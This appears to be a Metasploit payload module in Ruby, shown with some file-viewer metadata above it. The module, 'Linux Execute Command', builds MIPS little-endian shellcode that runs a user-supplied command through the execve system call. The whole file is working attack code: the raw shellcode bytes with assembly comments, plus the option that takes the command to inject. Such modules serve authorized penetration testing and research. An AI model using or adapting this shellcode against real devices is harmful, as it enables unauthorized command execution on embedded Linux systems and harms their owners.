71 lines
1.8 KiB
Ruby
71 lines
1.8 KiB
Ruby
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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module Metasploit3
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include Msf::Payload::Single
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include Msf::Payload::Linux
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Linux Execute Command',
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'Description' => %q{
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A very small shellcode for executing commands.
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This module is sometimes helpful for testing purposes.
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},
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'Author' =>
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[
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'Michael Messner <devnull@s3cur1ty.de>', #metasploit payload
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'entropy@phiral.net' #original payload
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],
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'References' => ['URL', 'http://www.exploit-db.com/exploits/17940/'],
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_MIPSLE,
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'Payload' =>
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{
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'Offsets' => {} ,
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'Payload' => ''
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})
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)
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register_options(
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[
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OptString.new('CMD', [ true, "The command string to execute" ]),
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], self.class)
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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return datastore['CMD'] || ''
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end
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def generate
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shellcode =
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"\x66\x06\x06\x24" + # li a2,1638
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"\xff\xff\xd0\x04" + # bltzal a2,4100b4
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"\xff\xff\x06\x28" + # slti a2,zero,-1
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"\xe0\xff\xbd\x27" + # addiu sp,sp,-32
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"\x01\x10\xe4\x27" + # addiu a0,ra,4097
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"\x1f\xf0\x84\x24" + # addiu a0,a0,-4065
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"\xe8\xff\xa4\xaf" + # sw a0,-24(sp)
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"\xec\xff\xa0\xaf" + # sw zero,-20(sp)
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"\xe8\xff\xa5\x27" + # addiu a1,sp,-24
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"\xab\x0f\x02\x24" + # li v0,4011
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"\x0c\x01\x01\x01" # + syscall 0x40404
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#
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# Constructs the payload
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#
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return super + shellcode + command_string + "\x00"
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end
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end
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